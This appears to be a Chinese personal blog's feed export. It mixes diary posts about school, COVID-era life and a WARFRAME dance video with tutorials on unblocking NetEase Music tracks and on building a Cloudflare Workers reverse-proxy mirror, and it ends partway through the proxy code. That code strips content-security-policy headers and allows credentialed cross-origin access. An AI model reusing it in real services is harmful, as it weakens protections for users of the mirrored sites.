首先先感谢2019-ncov送来的寒假延长消息,让我们的寒假至少延迟到了2020.2.17(原来是9号回校,10号正式开学),也让我肝土命2的时间变多了(这赛季等级莫不是要冲100,正因如此,周末双休可能就要变成单休了,而且准高三的暑假估计要被阉割掉了)。因为病毒的影响,导致人人不能出门,出门必戴口罩。因为口罩太畅销了,有些地方的口罩纷纷涨价。涨价一点点能接受对吧,但是我看到我们班上有人20买个医用口罩,真心贵……(强烈斥责坐地起价的行为)昨天早上还去排队买口罩,凭身份证一人买五个5¥,买完了还去别的地方看看有没有口罩买,最后十一点半回到家……

既然学校延迟开学,那也不能闲着,让学生开始用起了钉钉,想着用钉钉的会议模式上课(什么脑洞……)钉钉的商店评分骤降(XSWL),这算是躺枪_(:з」∠)_吧……但是也让钉钉首次超过微信拿到了iOS榜单第一(嘿嘿)

最近特别喜欢用twitter(我也不知道为什么,我的Twitter@GamerNoTitle),天天早上就打开手机看推,然后看到@PlayWarframe(WARFRAME官方账号)关注了@Bungie(命运2开发商)和@Destiny2(命运2官方账号),这两家公司莫非有啥关系???(不过话说是同一题材的游戏撒)

15天前,我在Valine-Admin的仓库发布了issue#75,主要是邮件的发送上的问题,直到今天,终于有人回复我啦^v^,感谢大佬**@tnrzy**帮我解决了邮件发送的问题*v*

前几天还是在刷Twitter的时候,想去Soundcloud上听大佬的歌曲,然后发现国内访问不了Soundcloud,而且用cloudflare反代也不行,我就只能翻墙上soundcloud了。话说到底为啥soundcloud不能在国内用???


近期想做的事情:

1、想玩VR!!!想玩Beat Saber!!!(没有VR的人哭了)

2、趁着现在闲,想继续学一下C++和Python(目前只会基础撒)

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作 + + /posts/diary3/ + +

近期做了一个视频:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

WARFRAME COINCIDANCE

什么?你说你还没有看?赶紧点开上面的蓝链前往B站查看!!!

哔哩哔哩播放:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

YouTube播放:这是[bilibili@GamerNoTitle](https://space.bilibili.com/44666814)(也就是我自己)和[bilibili@ThisNEKKO_xd](https://space.bilibili.com/49835313/)、[bilibili@MI-rice-json](https://space.bilibili.com/22267745/)和[bilibili@毁天灭地的GEnX](https://space.bilibili.com/49914186/)四人一起合作完成的视频,这算是2019(农历)的最后一个视频,也是第一个视频。至于这个发布日期也是特意挑的,因为是我农历生日……

一开始想做这个是因为看到了这个【命运2 抖肩舞】再来亿遍!打游戏不如跳舞!每天一遍,防止抑郁~命运2版Coincidance 自制

没错,就是命(tu)运(ming)2版的Coincidance。其实这个视频我是在期末考试最后一天的中午在宿舍里面看的,因为我们的考试安排是这样的(如下表,忘了具体日期了,本人选科是全理科)↓

日期场次科目时间
第一天1语文7:40~10:10
第一天2物理10:30~11:45
第一天3政治(不考)14:30~15:45
第二天1数学8:00~10:00
第二天2生物10:20~11:45
第二天3地理(不考)14:30~15:45
第三天1英语8:00~10:00
第三天2化学10:20~11:45
第三天3历史(不考)14:30~15:45

也就是在第三天的中午,反正下午也不考试,我就掏出了手机,打开了B站,开始看了一中午的视频(在这天之前我从未掏出过手机!),然后就看到了这个视频。

这个视频也是我的各个好友不断分享,然后在前天(2020.1.20)的晚上,我突然想到“为啥我们不做一个自己的COINCIDANCE”?用WARFRAME来做呢?(因为WARFRAME较完善的动作系统)

给我也整一个 MOD

然后我就在群里面找人,讲真,我身边加上我玩WARFRAME的人(就是身边的,不算上沙雕群友们)就只有4个人,而且WARFRAME刚好也是一个队伍最多4个人(这里我就要吐槽了,为什么不能像土命一样一个队伍6个人,这样更快乐,即使有5人小队BUG,但是不如土命2快乐),我们就相约第二天九点上线动工。

到了早上8点50分,我的手机闹铃就响了,是标准的Pixel音效 是在催促我起床了,我就赶紧起床,然后打开了WARFRAME。幸好我已经提前更新完了,要不都不知道要等多久。我打开了前一天晚上与@ThisNEKKO_xd一起讨论修改的脚本打开,然后CALL上小队成员,进入Chaptcha(好像是这么叫的)摄影棚开始拍摄。

(下面先放出脚本)


KIKI:Gamer.bili

ChuChu: Notfound404.

摄像机?(中间的人):GodGenx

机动:UBIthepotato

第一幕:KIKI

KIKI走路(第一个仓鼠叫做kiki)

KIKI拍绝路(她手上的是8极化绝路 – 截图)

机动&中间的人(不要和后面用一个甲)拳击(动作:洞悉武式)(她的车队喜拳击)

KIKI跳舞(但KIKI喜欢跳舞)

第二幕:ChooChoo

ChooChoo三弦琴(第二只仓鼠叫做ChooChoo,是一只??的仓鼠)

ChooChoo子弹跳×2(她喜欢解救受难仓鼠,但更喜欢跳舞)

ChooChoo跳舞

第三幕:

KIKI子弹跳×1,走动 ChooChoo三弦琴(她们踏上了旅程)

飞船(去到各个星球)

KIKI&ChooChoo处决&砍怪(分开)(她们听从莲妈,成为了Tenno强盗)

第四幕:

KIKI中继站子弹跳(她们跑遍了宇宙)

ChooChoo&NPC深鞠躬(遇到了许多的人)

七字真言弹出登录界面(无论是否有七字真言,她们都在跳舞)

KIKI跳舞

ChooChoo跳舞

KIKI在NPC面前跳舞

第五幕:摄影棚中继站

四人加载界面&四人进去不要动(一天她们到达了,宇宙的某个中继站)(加Hydroid中继站大字)

中间黑咖喱显赫刀剑疯狂长按E(她们俩肩并肩跳舞引来了其他仓鼠的围观)

KIKI&ChooChoo转身(她们转身面对面)

Kiki&ChooChoo跳舞(一切就在这巧合发生了)

KIKI鼓掌ChooChoo跳舞(Wow,跳的不错嘛)

KIKI跳舞ChooChoo鼓掌(Wow,你也不错嘛)

(He went dongdongdong, he went dongdongdong,They said we both been dance all this time)

KIKI&ChooChoo转向镜头(同时)(What coincidance)

Kiki&ChooChoo跳舞

▲注意一定要看下面

三个人(kiki&ChooChoo&机动)

Kiki左 机动中 ChooChoo右

1、 kiki&ChooChoo跳

2、 三人跳

3、 机动跳

4、 三人跳

第六幕:多场景

1、(场景无所谓)两人跳(从此她们一起跳舞)

2、(塞防图)上下两人跳(在这之前没人像她们一样)

3、(去希图斯)四人跳舞步可不统一(整个小队都在跳舞)

4、(夜灵平野三傻面前)四人跳舞(没有人去欺负三傻)

5、(放大KIKI)(KIKI停下面对镜头)(NO MORE)

6、(金星平原蜘蛛前面)四人跳(整个小队一起跳舞跳到了金星平原)

第七幕:

Kiki&ChooChoo同时跳(这都是因为两人的相遇,What a coincidence!)

很多镜头&甲用于快闪 都是单独舞步跳两个轮回

机动 指挥家武式(Lets dance)

第八幕:

1、 (KIKI左 机动中(靠后) ChooChoo右)KIKI&ChooChoo跳

2、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

3、 (KIKI左 机动中(靠后) ChooChoo右)三人跳

4、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

5、 (KIKI左 机动中(并排) ChooChoo右)三人跳

6、 (KIKI)KIKI跳

7、 (ChooChoo)ChooChoo跳

8、 (机动)

9、 (机动)蚀之武式

10、(机动&摄影)

11、KIKI跳 机动左侧鼓掌

12、ChooChoo跳 机动右侧鼓掌

13、KIKI跳

14、全队跳

—END—

制作者名单


对比起视频,讲真,有些镜头我们并没有拍。但是拍摄过程中,同一素材我们拍摄了多次,而且也在刷突击的时候顺带拍摄了某些素材,拍摄时长算下来一个小时多一点,效率还是挺高的。

然后就到了最难的时候了——传素材。我们是四个人分别录制了素材,土豆(这里指@MI-rice-json,因为WARFRAME的ID叫做UBI.the.potato故称作土豆)的电脑比较渣,录了一小段,总共1.46GB,直接使用奶牛快传传给了我;笨猫(此处指@ThisNEKKO_xd)录了总共2.54GB素材,因为人就在我旁边,所以直接用我的SSD拷贝过来;最难的是@GEnX的素材,他的电脑被我们称为“全队最好的电脑”,大部分素材都是他那里录制出来的,总共有29个G,这可难了,QQ最大传输文件和奶牛快传最大传输大小都为4个G,我就想到用压缩的方式,把文件分成N个4095MB(4GB=4096MB)的压缩包分段,然后一个一个传。@GEnX的龟速上行网络最高只有2.5MB/s的传输速度,所以无论我的下载速度多快也突破不了这2.5MB/s的上限,没办法,只能慢慢传了。8个文件,5个用QQ传输,3个用奶牛快传,总计传输了5个多小时。。。

终于传完素材了!可以开始剪辑啦!我满心欢喜地打开了我的PR,问题又来了!我的PR,它,它,它居然——闪退!!!因为我安装的是Adobe Premiere Pro 2020,上网查了以后发现,没有CC(Adobe Creative Cloud)是运行不了的,我就只能被迫下了一个CC(太难了),开始了剪辑

剪辑花费时长大概两个小时,因为素材拖进PR里面以后,PR会自动开始生成视频的峰值文件,这就吃了我很大一部分的CPU,只能顶着100%的CPU剪辑,剪辑了两个半小时(期间包括我上大字幕和@ThisNEKKO_xd上下面的字幕),终于完成了~

然后我就开始上传,编辑稿件,选择投稿日期->2020.1.22 09:00(因为这天刚好是我农历生日,我家生日算农历),然后提交了稿件,关上了电脑。

出场的仓鼠们如下(以下为WARFRAME ID):
音乐甲 & NOVA PRIME @Gamer.bili
瓦喵 PRIME & 电男 PRIME @NotFound404.
黑咖喱 & ASH PRIME & 指挥官 @UBI.the.potato
女枪PRIME & (潜行)指挥官 @GODGEnX
制作者名单:
导演 @Gamer.bili
剧本 @Gamer.bili @NotFound404.
拍摄 @GODGEnX @NotFound404. @Gamer.bili
剪辑 @Gamer.bili @NotFound404.
字幕 @NotFound404.

现在我写这一篇文章,应该是算作留个纪念吧,毕竟,这个视频做起来也不容易。。。

喜欢我的视频,请长按点赞键支持我哦~虽然我只是一只比白咕咕还要会咕咕咕的鸽子~

白咕咕

2020.1.22

GamerNoTitle

]]>
+ + + + + diary + + + + + + + diary + + Game + + Warframe + + + +
+ + + + + 网易云音乐去除版权限制(Nodejs) + + /posts/Unblock163Music/ + +

2020.3.23重制

今天拿网易云开刀~

网易云音乐一直是我们使用得比较频繁的音乐平台,可是他的版权问题实在是令人发寒,每次搜索音乐就看着灰色的歌名失望。。。而隔壁的扣扣音乐就什么都有
灰色的网易云音乐

这种情况真的很烦,点开一首歌直接告诉你因版权无法播放,这时候我们就需要脚本登场了
脚本由@nondanee编写,原理是将其他音乐网站的链接替换到网易云,所以并不存在破解网易云音乐的软件,与法律并不矛盾。
源代码可以点@nondanee/UnblockNeteaseMusic,在使用之前,需要安装nodejs环境

1
$ git clone https://github.com/nondanee/UnblockNeteaseMusic.git

克隆代码后,在文件夹里启动命令窗口,输入

1
$ npx @nondanee/unblockneteasemusic

就可以打开程序了,如果提示npx未找到,请先使用

1
$ npm install npx -g

来安装npx哦~

启动了以后,在你的网易云音乐里面修改代理,按照你的配置填写即可!

代理修改


题外话:

最近Github的地址raw.githubusercontent.com好像被墙了?不能直接在Github网站中下载RAW文件,很烦

CloudFlare的Workers最近也是BUG一大堆,总是给我抛出1101错误,先不搭建新的反代了……

本网站的邮件提醒已经搭建好了,以后留言就有邮件了~

]]>
+ + + + + Software + + + + + + + Software + + Netease + + + +
+ + + + + Cloudflare Workers反代实战(下) + + /posts/Cloudflare-Workers-Section2/ + +

上篇说道:
我们已经成功搭建了Workers的反代服务,但是有的时候我们需要绑定自己的域名来访问该网页,那么本篇我们将来讲一讲怎么绑定自己的域名来访问workers
我们先来到我们的域名管理界面,点开自己的任意一个域名,然后点击上面的workers
workers-in-domain
在本界面中,上面的两个按钮点击Add Route
Workers-Panel
然后在上面填写你想要的域名(当然得是你的域名),格式如<SubDoamin>.<Domain>/*,下面选择你创建好的Workers配置,例如我在上面填写g.bili33.top/*,然后下面选择我的名字叫做”g”的Workers配置文件(用于反代Google),然后点击保存,这样就成功添加了route,当然这个时候并不是直接访问就可以访问被反代的网站,而是要进行进一步配置~

回到我们的域名DNS解析界面,添加一个CNAME记录,指向我们的Workers,在这之中,Proxy Status一定要设定为Proxied!下面照样给个例子

TypeNameTargetTTLProxy
CNAMEgg.bili33.workers.devAuto

然后添加进入DNS解析,这时候我们再访问自己的域名(在这里是g.bili33.top),然后就发现我们进入了自己反代的网站

当然这也有一定的缺点:

1、因为Redirect URL与api不一致,所以反代出来的网站一般无法登陆

2、使用了Google Recaptcha之类的验证码用于网站保护的网站可能会因为Redirect URL不一致而导致无法访问(如Google自带的Recaptcha保护机制将导致无法进行搜索,这种情况下更换被反代的Google地区即可)


2020.3.14 更新

今天给我的博客上SSL,然后临时把CloudFlare自带的SSL关掉了,代理Google旗下网站出现了重定向次数过多的问题,把SSL调回Flexible就可以了,目前只发现Google旗下产品会出现此问题,其他暂未发现


题外话:

网站终于又开始更新啦!小高考考得个人感觉还不错,二月份出成绩*V*,六月份还有物理和政治的……

@TheBaiRuo的公网IP被墙了,需要备案,所以他的网站进不去,确实是有点惨吼,Github Pages它不香吗?

另外,在Cloudflare的workers调试界面有可能会出现500的错误码,忽略就好,实际上部署后是可以访问的(除非cloudflare分配给你的服务器炸了)

]]>
+ + + + + Software + + + + + + + Software + + Cloudflare + + JSProxy + + + +
+ + + + + 日常吐槽02 + + /posts/diary2/ + +

今天是周日,还要考试,哭了。。。

本周二是学校的研学活动,但是说不给带手机给带相机,对我倒是没什么所谓啦(原因在下面),但是学校有没有考虑过有些人家里莫得相机啊?

周三晚上校运会开幕式,有我们至今为止最庞大的直播阵容:

直播及录像机:我的Lenovo不知道是什么鬼型号,反正i7 7700k够用了,加个16G运存,用NDI采集导播机的画面
导播机:梅导的新电脑,用的9900k还有32G运存,我觉得用vmix莫得问题,用NDI传输画面给我的电脑中的OBS
(PS:我们是vMix导播切镜头,我的OBS来直播+录像)
字幕机:梅导以前的电脑,用的6700k
采集机(4台):采集四个相机/无人机的实时画面,利用NDI传输到导播机
相信这一次我们能够避免上次的马赛克
由于导播,所以我们一定要使用手机,所以上面才说没什么所谓~

准备退休啦~

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + 日常吐槽01 + + /posts/diary1/ + +

想开一个日常吐槽分区,除了技术(汗?)文还可以发一发平常的感受~

期中考考完啦!!!开心~

但是数学考得不很好,反正就是不很好(自闭中)

本周遇到了wordpress会出现429错误的问题,貌似被墙了,果断搭建一个代理站,但是wordpress的链接不是相对链接,是绝对链接,所以要下载wordpress要手动把原来的域名改成我的域名

点我下载wordpress最新版~(zip)

点我下载wordpress最新版~(tar.gz)

]]>
+ + + + + diary + + + + + + + diary + + + +
+ + + + + Cloudflare Workers反代实战(上) + + /posts/CloudFlare-Workers-Section1/ + +

CloudFlare一直以其域名托管服务和CDN服务闻名于各位网站管理员,当然我的域名也是托管在这个上面的,后来,有一位被我介绍入CF的同志告诉我CF有种功能。。。(@TheBaiRuo

就是CF的Workers服务,这是一种能够访问网页时运行特定的JS脚本的服务,所以我们就可以利用它进行 JSPROXY Workers-Proxy(感谢@Anonymous的提醒)的搭建(某反向代理)

前期准备

1、一个CloudFlare账号

2、一个域名(可以到Freenom注册一个)

搭建反向代理

在这之前,你需要把你的域名托管到CF上!!!

然后进入CF的workers界面,看下图

Workers

进入到Workers后,点击Create a Worker来创建你的第一个JS

Create a Worker

然后在workers界面的左边,填入你的JS代码,这时候就需要万能反代代码QAQ

Worker Editor

解释一下这个界面:

①项目名称:表现为**[Project].[subdomain].workers.dev**,其中subdomain是你注册workers是输入的名字,project就是项目名称

②编辑区:就是你放下代码的地方

③效果预览区:当你按下运行按钮的时候展现出来的效果

④运行:顾名思义,运行嘛,然后在右边看得到

⑤保存并部署:部署该项目

将下面的代码放到你的编辑区中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 替换成你想镜像的站点
const upstream = 'example.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'example.com'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

//以下内容都不用动
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

然后点击运行,就可以反代你需要的网站啦,但是注意,有些网站是无法进行反代的,例如twitter之类的,而且如果原来的网站具有登陆功能,那么这些登陆功能是无法使用的!!!

加密版(来自旧版文章评论区@Hostloc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
// 替换成你想镜像的站点
const upstream = 'google.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'm.google.com'

// 密码访问

const openAuth = false
const username = 'username'
const password = 'password'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

function unauthorized() {
return new Response('Unauthorized', {
headers: {
'WWW-Authenticate': 'Basic realm="goindex"',
'Access-Control-Allow-Origin': '*'
},
status: 401
});
}

function parseBasicAuth(auth) {
try {
return atob(auth.split(' ').pop()).split(':');
} catch (e) {
return [];
}
}

function doBasicAuth(request) {
const auth = request.headers.get('Authorization');

if (!auth || !/^Basic [A-Za-z0-9._~+/-]+=*$/i.test(auth)) {
return false;
}

const [user, pass] = parseBasicAuth(auth);
return user === username && pass === password;
}


async function fetchAndApply(request) {
if (request.method === 'OPTIONS') // allow preflight request
return new Response('', {
status: 200,
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Methods': 'GET, POST, PUT, HEAD, OPTIONS'
}
});

if (openAuth && !doBasicAuth(request)) {
return unauthorized();
}
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request).catch(err => {
console.error(err);
new Response(JSON.stringify(err.stack), {
status: 500,
headers: {
'Content-Type': 'application/json'
}
});
}));
})


async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

下篇:Cloudflare Workers绑定自定义域名进行访问

这就是JSPROXY的反代啦,祝各位成功呀!
题外话:

下周要考试了,我好方,怎么办

我已经用此方法部署了Google镜像站、Google学术镜像站、wiki镜像站,可以在我的友链界面找到哦~

]]>
+ + + + + Software + + + + + + + Software + + Cloudflare + + JSProxy + + + +
+ + + + + 白嫖党教你白嫖Cloudflare Workers反代~ + + /posts/CloudFlare-Workers/ + +

注:本页面为旧版本备份,新版本请点我!

CloudFlare一直以其域名托管服务和CDN服务闻名于各位网站管理员,当然我的域名也是托管在这个上面的,后来,有一位被我介绍入CF的同志告诉我CF有种功能。。。(@TheBaiRuo

就是CF的Workers服务,这是一种能够访问网页时运行特定的JS脚本的服务,所以我们就可以利用它进行 JSPROXY Workers-Proxy(感谢@Anonymous的提醒)的搭建(某反向代理)

前期准备

1、一个CloudFlare账号

2、一个域名(可以到Freenom注册一个)

搭建反向代理

在这之前,你需要把你的域名托管到CF上!!!

然后进入CF的workers界面,看下图

Workers

进入到Workers后,点击Create a Worker来创建你的第一个JS

Create a Worker

然后在workers界面的左边,填入你的JS代码,这时候就需要万能反代代码QAQ

Worker Editor

解释一下这个界面:

①项目名称:表现为**[Project].[subdomain].workers.dev**,其中subdomain是你注册workers是输入的名字,project就是项目名称

②编辑区:就是你放下代码的地方

③效果预览区:当你按下运行按钮的时候展现出来的效果

④运行:顾名思义,运行嘛,然后在右边看得到

⑤保存并部署:部署该项目

将下面的代码放到你的编辑区中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// 替换成你想镜像的站点
const upstream = 'example.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'example.com'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

//以下内容都不用动
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})

async function fetchAndApply(request) {

const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}

然后点击运行,就可以反代你需要的网站啦,但是注意,有些网站是无法进行反代的,例如twitter之类的,而且如果原来的网站具有登陆功能,那么这些登陆功能是无法使用的!!!

加密版(来自评论区@Hostloc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
// 替换成你想镜像的站点
const upstream = 'google.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'm.google.com'

// 密码访问

const openAuth = false
const username = 'username'
const password = 'password'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

function unauthorized() {
return new Response('Unauthorized', {
headers: {
'WWW-Authenticate': 'Basic realm="goindex"',
'Access-Control-Allow-Origin': '*'
},
status: 401
});
}

function parseBasicAuth(auth) {
try {
return atob(auth.split(' ').pop()).split(':');
} catch (e) {
return [];
}
}

function doBasicAuth(request) {
const auth = request.headers.get('Authorization');

if (!auth || !/^Basic [A-Za-z0-9._~+/-]+=*$/i.test(auth)) {
return false;
}

const [user, pass] = parseBasicAuth(auth);
return user === username && pass === password;
}


async function fetchAndApply(request) {
if (request.method === 'OPTIONS') // allow preflight request
return new Response('', {
status: 200,
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
